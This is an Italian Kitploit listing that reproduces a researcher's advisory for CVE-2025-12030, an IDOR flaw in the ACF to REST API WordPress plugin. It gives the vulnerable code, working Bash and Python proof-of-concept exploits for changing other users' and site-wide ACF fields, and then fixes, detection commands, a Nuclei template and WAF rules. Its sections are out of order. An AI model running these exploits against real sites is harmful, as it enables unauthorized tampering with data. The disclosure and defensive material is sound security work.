Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2025-12030 — ACF to REST API WordPress Plugin IDOR Vulnerability (CVE-2025-12030) - Difetto di sicurezza che consente a utenti autenticati con accesso di livello Contributor di modificare i campi ACF su oggetti che non possiedono. | Kitploit
Strumenti/GitHubGitHub/snailsploit/cve-2025-12030
Analisi delle VulnerabilitàExploitSfruttamento di Applicazioni WebPenetration TestingPaper e RicercaApprendimento e Formazione
GitHubsnailsploit/cve-2025-12030

CVE-2025-12030

ACF to REST API WordPress Plugin IDOR Vulnerability (CVE-2025-12030) - Difetto di sicurezza che consente a utenti autenticati con accesso di livello Contributor di modificare i campi ACF su oggetti che non possiedono.

Vedi Repository
114 mesi faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

CVE-2025-12030: Riferimento diretto non sicuro a oggetti nel plugin WordPress ACF to REST API

CVE CVSS Score WordPress Plugin CWE-639 Wordfence

Parole chiave: CVE-2025-12030, vulnerabilità ACF to REST API, IDOR, sicurezza WordPress, exploit autenticato, vulnerabilità del plugin WordPress, CWE-639, modifica dei campi ACF, bypass dell'autorizzazione, CVE 2025 di WordPress, Advanced Custom Fields, sicurezza delle API REST

Indice

  • Panoramica
403) ); } return $permission; }, 10, 3); ``` #### Opzione 2: Limita tramite .htaccess```apache # Block ACF REST API modification endpoints for non-admins RewriteEngine On RewriteCond %{REQUEST_METHOD} ^(PUT|POST|PATCH)$ RewriteCond %{REQUEST_URI} ^/wp-json/acf/v3/ [NC] RewriteCond %{HTTP_COOKIE} !wordpress_logged_in_.*admin [NC] RewriteRule .* - [F,L] ``` #### Opzione 3: Configurazione di Nginx```nginx # Block ACF REST API modification requests location ~* ^/wp-json/acf/v3/ { if ($request_method ~* "(PUT|POST|PATCH)") { # Implement proper authorization check or block entirely return 403; } try_files $uri $uri/ /index.php?$args; } ``` ### Per gli Sviluppatori di Plugin Se si esegue il fork o si applicano patch al plugin, implementare un'adeguata autorizzazione specifica per oggetto:```php get_param( 'id' ); $type = $this->get_object_type( $request ); switch ( $type ) { case 'post': case 'page': // Check if user can edit THIS specific post if ( ! current_user_can( 'edit_post', $id ) ) { return new WP_Error( 'rest_cannot_edit', __( 'Sorry, you are not allowed to edit this post.' ), array( 'status' => rest_authorization_required_code() ) ); } break; case 'user': // Check if user can edit THIS specific user if ( ! current_user_can( 'edit_user', $id ) ) { return new WP_Error( 'rest_cannot_edit', __( 'Sorry, you are not allowed to edit this user.' ), array( 'status' => rest_authorization_required_code() ) ); } break; case 'option': // Options require manage_options capability if ( ! current_user_can( 'manage_options' ) ) { return new WP_Error( 'rest_cannot_edit', __( 'Sorry, you are not allowed to manage options.' ), array( 'status' => rest_authorization_required_code() ) ); } break; case 'term': $taxonomy = $request->get_param( 'taxonomy' ); $tax_obj = get_taxonomy( $taxonomy ); if ( ! current_user_can( $tax_obj->cap->edit_terms ) ) { return new WP_Error( 'rest_cannot_edit', __( 'Sorry, you are not allowed to edit terms.' ), array( 'status' => rest_authorization_required_code() ) ); } break; case 'comment': if ( ! current_user_can( 'edit_comment', $id ) ) { return new WP_Error( 'rest_cannot_edit', __( 'Sorry, you are not allowed to edit this comment.' ), array( 'status' => rest_authorization_required_code() ) ); } break; default: return new WP_Error( 'rest_invalid_type', __( 'Invalid object type.' ), array( 'status' => 400 ) ); } return true; } ``` ## Rilevamento ### Analisi dei Log Cerca attività sospette dell'API REST:```bash # Search access logs for ACF REST API modification attempts grep -E "POST|PUT|PATCH.*wp-json/acf/v3" /var/log/nginx/access.log grep -E "POST|PUT|PATCH.*wp-json/acf/v3" /var/log/apache2/access.log ``` ### WordPress Plugin Check```bash # Check if vulnerable version is installed wp plugin list | grep -i "acf-to-rest-api" # Get plugin version wp plugin get acf-to-rest-api --field=version ``` ### Regole dello scanner di sicurezza **Modello Nuclei:**```yaml id: CVE-2025-12030 info: name: ACF to REST API - IDOR ACF Field Modification author: SnailSploit severity: medium description: ACF to REST API plugin for WordPress is vulnerable to IDOR reference: - https://github.com/SnailSploit/CVE-2025-12030 - https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/acf-to-rest-api/acf-to-rest-api-334-insecure-direct-object-reference-to-authenticated-contributor-acf-fieldoption-modification tags: cve,cve2025,wordpress,wp-plugin,idor,authenticated http: - raw: - | POST /wp-json/acf/v3/posts/1 HTTP/1.1 Host: {{Hostname}} Authorization: Basic {{base64(username + ':' + password)}} Content-Type: application/json {"fields":{"nuclei_test":"CVE-2025-12030"}} matchers-condition: and matchers: - type: word words: - "acf" condition: or - type: status status: - 200 ``` ### Regole del Web Application Firewall **Regola ModSecurity:**```apache # CVE-2025-12030 - Block unauthorized ACF REST API modifications SecRule REQUEST_URI "@rx ^/wp-json/acf/v3/" \ "id:2025012030,\ phase:2,\ t:none,t:urlDecodeUni,t:normalizePathWin,\ chain,\ deny,\ status:403,\ log,\ msg:'CVE-2025-12030 - Potential ACF IDOR Exploit Attempt'" SecRule REQUEST_METHOD "@rx ^(POST|PUT|PATCH)$" "t:none" ``` ## Cronologia - **6 gennaio 2026** - Vulnerabilità divulgata pubblicamente - **6 gennaio 2026** - CVE-2025-12030 assegnato - **Ad oggi** - ⚠️ Nessuna patch disponibile ## Riferimenti - [Wordfence Intelligence - CVE-2025-12030](https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/acf-to-rest-api/acf-to-rest-api-334-insecure-direct-object-reference-to-authenticated-contributor-acf-fieldoption-modification) - [WordPress Plugin Trac - ACF to REST API](https://plugins.trac.wordpress.org/browser/acf-to-rest-api) - [WordPress Plugin Directory](https://wordpress.org/plugins/acf-to-rest-api/) - [CWE-639 - Authorization Bypass Through User-Controlled Key](https://cwe.mitre.org/data/definitions/639.html) - [OWASP - Insecure Direct Object Reference](https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/05-Authorization_Testing/04-Testing_for_Insecure_Direct_Object_References) ## Crediti **Ricercatore:** - [**Kai Aizen**](https://linkedin.com/in/kaiaizen) - [SnailSploit](https://snailsploit.com) **Processo di divulgazione:** Coordinato tramite il programma Wordfence Bug Bounty ## Esclusione di responsabilità Queste informazioni sono fornite esclusivamente a scopo di ricerca sulla sicurezza e di difesa. Qualsiasi sfruttamento di questa vulnerabilità per scopi dannosi è illegale e non etico. Ottieni sempre la dovuta autorizzazione prima di testare sistemi che non possiedi. ## Contatti Per domande o informazioni aggiuntive su questa vulnerabilità: - **Email:** [[email protected]](mailto:[email protected]) - **Sito web:** [snailsploit.com](https://snailsploit.com) - **Organizzazione:** SnailSploit Security Research --- *Ultimo aggiornamento: 6 gennaio 2026* --- ## 📚 Documentazione e Autore La documentazione completa, la metodologia e la ricerca correlata di questo progetto sono disponibili su: **[https://snailsploit.com/security-research/cves/cve-2025-12030/](https://snailsploit.com/security-research/cves/cve-2025-12030/)** Creato da **Kai Aizen** — ricercatore indipendente di sicurezza offensiva. [snailsploit.com](https://snailsploit.com) · [Research](https://snailsploit.com/research) · [Frameworks](https://snailsploit.com/frameworks) · [GitHub](https://github.com/SnailSploit) · [LinkedIn](https://linkedin.com/in/kaiaizen) · [ResearchGate](https://www.researchgate.net/profile/Kai-Aizen-2) · [X/Twitter](https://x.com/SnailSploit) > *Stesso attacco. Substrato diverso.*
  • Dettagli della vulnerabilità
  • Analisi tecnica
  • Vettore di attacco
  • Prova di concetto
  • Guida alla correzione
  • Rilevamento
  • Metriche CVSS
  • Riferimenti
  • Crediti
  • Contatto per la sicurezza
  • Panoramica

    Vulnerabilità IDOR del plugin WordPress ACF to REST API (CVE-2025-12030) - Difetto di sicurezza che consente agli utenti autenticati con accesso a livello Contributor di modificare i campi ACF su oggetti di cui non sono proprietari.

    Una vulnerabilità di riferimento diretto non sicuro a oggetti (IDOR) è stata scoperta nel plugin WordPress ACF to REST API che consente ad attaccanti autenticati con privilegi minimi di modificare i campi ACF in tutta l'installazione WordPress.

    Scoperta da: Kai Aizen (SnailSploit)
    Pubblicato: 6 gennaio 2026
    Punteggio CVSS: 4.3 (Medio)
    CWE: CWE-639 - Bypass dell'autorizzazione tramite chiave controllata dall'utente
    Plugin: ACF to REST API
    Plugin Slug: acf-to-rest-api
    Tipo di attacco: Riferimento diretto non sicuro a oggetti (IDOR)
    Privilegi richiesti: Contributor+ (Attacco autenticato)

    Dettagli della vulnerabilità

    Descrizione

    Il plugin ACF to REST API per WordPress è vulnerabile al riferimento diretto non sicuro a oggetti in tutte le versioni fino alla 3.3.4 inclusa. Ciò è dovuto a controlli insufficienti delle capacità nel metodo update_item_permissions_check(), che verifica solo che l'utente corrente abbia la capacità edit_posts senza controllare le autorizzazioni specifiche dell'oggetto (ad es., edit_post($id), edit_user($id), manage_options).

    Impatto

    Questa vulnerabilità consente ad attaccanti autenticati con accesso a livello Contributor o superiore di:

    • Modificare i campi ACF sui post di cui non sono proprietari - Bypass delle restrizioni di proprietà dei post
    • Modificare i campi ACF su qualsiasi account utente - Inclusi gli account amministratore
    • Modificare i campi ACF sui commenti - Alterare i metadati dei commenti
    • Modificare i campi ACF sui termini di tassonomia - Cambiare i campi personalizzati di categorie/tag
    • Modificare la pagina delle opzioni globali - Accedere alle opzioni ACF dell'intero sito senza la capacità manage_options

    Tutte le modifiche sono possibili tramite gli endpoint REST API /wp-json/acf/v3/{type}/{id}.

    Versioni interessate

    • Vulnerabili: Tutte le versioni ≤ 3.3.4
    • Versione corretta: ⚠️ Nessuna patch nota disponibile

    Metriche CVSS v3.1```

    CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N

    root@kitploit:~
    | Metrica | Valore |
    |--------|-------|
    | Vettore di attacco | Rete (AV:N) |
    | Complessità dell'attacco | Bassa (AC:L) |
    | Privilegi richiesti | Bassi (PR:L) |
    | Interazione dell'utente | Nessuna (UI:N) |
    | Ambito | Invariato (S:U) |
    | Riservatezza | Nessuna (C:N) |
    | Integrità | Bassa (I:L) |
    | Disponibilità | Nessuna (A:N) |
    
    **Analisi CVSS v3.1:**
    
    - **Vettore di attacco (AV):** Rete - La vulnerabilità può essere sfruttata da remoto attraverso la rete
    - **Complessità dell'attacco (AC):** Bassa - Non sono richieste condizioni speciali per lo sfruttamento
    - **Privilegi richiesti (PR):** Bassi - Richiede autenticazione a livello Contributor
    - **Interazione dell'utente (UI):** Nessuna - Lo sfruttamento funziona senza alcuna interazione con l'utente
    - **Ambito (S):** Invariato - La vulnerabilità interessa solo il componente vulnerabile
    - **Impatto sulla riservatezza (C):** Nessuno - Nessuna divulgazione di informazioni
    - **Impatto sull'integrità (I):** Basso - Modifica non autorizzata dei campi ACF
    - **Impatto sulla disponibilità (A):** Nessuno - Nessun impatto sulla disponibilità
    
    ## Dettagli tecnici
    
    ### Causa principale della vulnerabilità
    
    La vulnerabilità risiede nel metodo `update_item_permissions_check()` che esegue un'autorizzazione insufficiente:```php
    // Vulnerable code pattern (simplified)
    public function update_item_permissions_check( $request ) {
        // VULNERABLE: Only checks generic edit_posts capability
        if ( current_user_can( 'edit_posts' ) ) {
            return true;
        }
        return false;
    }
    

    L'implementazione corretta dovrebbe verificare i permessi specifici dell'oggetto:```php // Secure implementation pattern public function update_item_permissions_check( $request ) { $id = $request->get_param( 'id' ); $type = $request->get_param( 'type' );

    root@kitploit:~
    switch ( $type ) {
        case 'post':
            return current_user_can( 'edit_post', $id );
        case 'user':
            return current_user_can( 'edit_user', $id );
        case 'option':
            return current_user_can( 'manage_options' );
        // ... other object types
    }
    return false;
    

    }

    root@kitploit:~
    ### Endpoint Vulnerabili
    
    | Endpoint | Obiettivo | Capacità Richiesta (Dovrebbe Essere) |
    |----------|--------|--------------------------------|
    | `/wp-json/acf/v3/posts/{id}` | Post | `edit_post($id)` |
    | `/wp-json/acf/v3/pages/{id}` | Pagine | `edit_page($id)` |
    | `/wp-json/acf/v3/users/{id}` | Utenti | `edit_user($id)` |
    | `/wp-json/acf/v3/comments/{id}` | Commenti | `edit_comment($id)` |
    | `/wp-json/acf/v3/terms/{taxonomy}/{id}` | Termini | `edit_term($id)` |
    | `/wp-json/acf/v3/options/{option}` | Opzioni | `manage_options` |
    
    ### Vettore di Attacco```
    PUT/POST /wp-json/acf/v3/{type}/{id}
    Authorization: Basic <contributor_credentials>
    Content-Type: application/json
    
    {
        "fields": {
            "field_name": "malicious_value"
        }
    }
    

    La vulnerabilità può essere sfruttata attraverso l'API REST di WordPress da qualsiasi utente autenticato con almeno il ruolo di Contributor.

    Prova di concetto

    ⚠️ Solo a scopo educativo e per test autorizzati

    Bash PoC```bash

    #!/bin/bash

    CVE-2025-12030 PoC - ACF to REST API IDOR

    TARGET_URL="$1" USERNAME="$2" APP_PASSWORD="$3" TARGET_POST_ID="$4"

    if [ -z "$TARGET_URL" ] || [ -z "$USERNAME" ] || [ -z "$APP_PASSWORD" ] || [ -z "$TARGET_POST_ID" ]; then echo "Usage: $0 <target_url> <app_password> <post_id>" echo "Example: $0 https://example.com contributor_user xxxx-xxxx-xxxx 42" exit 1 fi

    echo "[] CVE-2025-12030 - ACF to REST API IDOR PoC" echo "[] Target: $TARGET_URL" echo "[*] Target Post ID: $TARGET_POST_ID" echo ""

    Encode credentials

    AUTH=$(echo -n "$USERNAME:$APP_PASSWORD" | base64)

    Step 1: Read current ACF fields (verify access)

    echo "[*] Step 1: Reading current ACF fields..." curl -s -X GET "$TARGET_URL/wp-json/acf/v3/posts/$TARGET_POST_ID"
    -H "Authorization: Basic $AUTH"
    | python3 -m json.tool

    echo ""

    Step 2: Attempt to modify ACF fields on post we don't own

    echo "[*] Step 2: Attempting to modify ACF fields on post $TARGET_POST_ID..." RESPONSE=$(curl -s -X POST "$TARGET_URL/wp-json/acf/v3/posts/$TARGET_POST_ID"
    -H "Authorization: Basic $AUTH"
    -H "Content-Type: application/json"
    -d '{"fields":{"test_field":"CVE-2025-12030_IDOR_TEST"}}')

    echo "$RESPONSE" | python3 -m json.tool

    echo "" if echo "$RESPONSE" | grep -q "CVE-2025-12030_IDOR_TEST"; then echo "[!] VULNERABLE: Successfully modified ACF fields on post we don't own!" else echo "[+] Not vulnerable or modification failed" fi

    root@kitploit:~
    ### Python PoC```python
    #!/usr/bin/env python3
    """
    CVE-2025-12030 - ACF to REST API IDOR PoC
    For educational and authorized testing purposes only
    """
    
    import requests
    import sys
    import json
    import base64
    
    def exploit(target_url, username, app_password, target_id, target_type="posts"):
        """
        Exploit CVE-2025-12030 IDOR vulnerability
        
        Args:
            target_url: WordPress site URL
            username: Contributor-level username
            app_password: Application password
            target_id: ID of the object to modify (post, user, etc.)
            target_type: Type of object (posts, pages, users, options, etc.)
        """
        
        api_endpoint = f"{target_url.rstrip('/')}/wp-json/acf/v3/{target_type}/{target_id}"
        
        # Create Basic Auth header
        credentials = base64.b64encode(f"{username}:{app_password}".encode()).decode()
        headers = {
            "Authorization": f"Basic {credentials}",
            "Content-Type": "application/json"
        }
        
        print(f"[*] CVE-2025-12030 - ACF to REST API IDOR PoC")
        print(f"[*] Target: {target_url}")
        print(f"[*] Endpoint: {api_endpoint}")
        print(f"[*] Object Type: {target_type}")
        print(f"[*] Object ID: {target_id}\n")
        
        # Step 1: Read current ACF fields
        print("[*] Step 1: Reading current ACF fields...")
        try:
            response = requests.get(api_endpoint, headers=headers, timeout=10)
            if response.status_code == 200:
                print(f"[+] Current ACF fields:")
                print(json.dumps(response.json(), indent=2))
            else:
                print(f"[-] Failed to read fields: {response.status_code}")
                print(response.text)
        except requests.RequestException as e:
            print(f"[-] Error reading fields: {e}")
            return
        
        print("")
        
        # Step 2: Attempt IDOR modification
        print("[*] Step 2: Attempting unauthorized modification...")
        
        payload = {
            "fields": {
                "idor_test": "CVE-2025-12030_IDOR_VERIFIED"
            }
        }
        
        try:
            response = requests.post(api_endpoint, headers=headers, json=payload, timeout=10)
            
            if response.status_code == 200:
                result = response.json()
                print(f"[+] Response:")
                print(json.dumps(result, indent=2))
                
                if "CVE-2025-12030_IDOR_VERIFIED" in str(result):
                    print("\n[!] VULNERABLE: Successfully modified ACF fields via IDOR!")
                    print("[!] Contributor-level user was able to modify objects they don't own!")
                else:
                    print("\n[+] Modification request accepted - verify manually")
            else:
                print(f"[-] Request failed with status: {response.status_code}")
                print(f"Response: {response.text}")
                
        except requests.RequestException as e:
            print(f"[-] Error: {e}")
    
    def test_options_page(target_url, username, app_password):
        """Test modification of global options page (requires manage_options normally)"""
        
        api_endpoint = f"{target_url.rstrip('/')}/wp-json/acf/v3/options/options"
        
        credentials = base64.b64encode(f"{username}:{app_password}".encode()).decode()
        headers = {
            "Authorization": f"Basic {credentials}",
            "Content-Type": "application/json"
        }
        
        print(f"\n[*] Testing Options Page IDOR...")
        print(f"[*] Endpoint: {api_endpoint}")
        print(f"[*] NOTE: This normally requires manage_options capability!\n")
        
        payload = {
            "fields": {
                "site_option_test": "CVE-2025-12030_OPTIONS_IDOR"
            }
        }
        
        try:
            response = requests.post(api_endpoint, headers=headers, json=payload, timeout=10)
            
            if response.status_code == 200:
                print(f"[!] CRITICAL: Contributor modified global options page!")
                print(json.dumps(response.json(), indent=2))
            else:
                print(f"[-] Options modification failed: {response.status_code}")
                
        except requests.RequestException as e:
            print(f"[-] Error: {e}")
    
    if __name__ == "__main__":
        if len(sys.argv) < 5:
            print(f"Usage: {sys.argv[0]} <target_url> <username> <app_password> <target_id> [type]")
            print(f"Example: {sys.argv[0]} https://example.com contributor xxxx-xxxx 42 posts")
            print(f"\nSupported types: posts, pages, users, comments, options")
            sys.exit(1)
        
        target_url = sys.argv[1]
        username = sys.argv[2]
        app_password = sys.argv[3]
        target_id = sys.argv[4]
        target_type = sys.argv[5] if len(sys.argv) > 5 else "posts"
        
        exploit(target_url, username, app_password, target_id, target_type)
        
        # Also test options page access
        if target_type != "options":
            test_options_page(target_url, username, app_password)
    

    Rimedi

    Per gli amministratori del sito

    Azione immediata richiesta:

    ⚠️ Nessuna patch ufficiale è attualmente disponibile per questa vulnerabilità.

    1. Valuta di disinstallare il plugin se la funzionalità ACF REST API non è critica
    2. Limita le registrazioni degli utenti e rivedi gli account Contributor+ esistenti
    3. Implementa regole WAF per bloccare modifiche non autorizzate alle REST API
    4. Monitora l'attività delle REST API per individuare modifiche sospette ai campi ACF
    5. Valuta plugin alternativi con adeguati controlli di autorizzazione

    Mitigazioni temporanee

    Opzione 1: Disabilita gli endpoint REST API tramite codice

    Aggiungi al functions.php del tuo tema o a un plugin personalizzato:```php

    Scarica lo strumento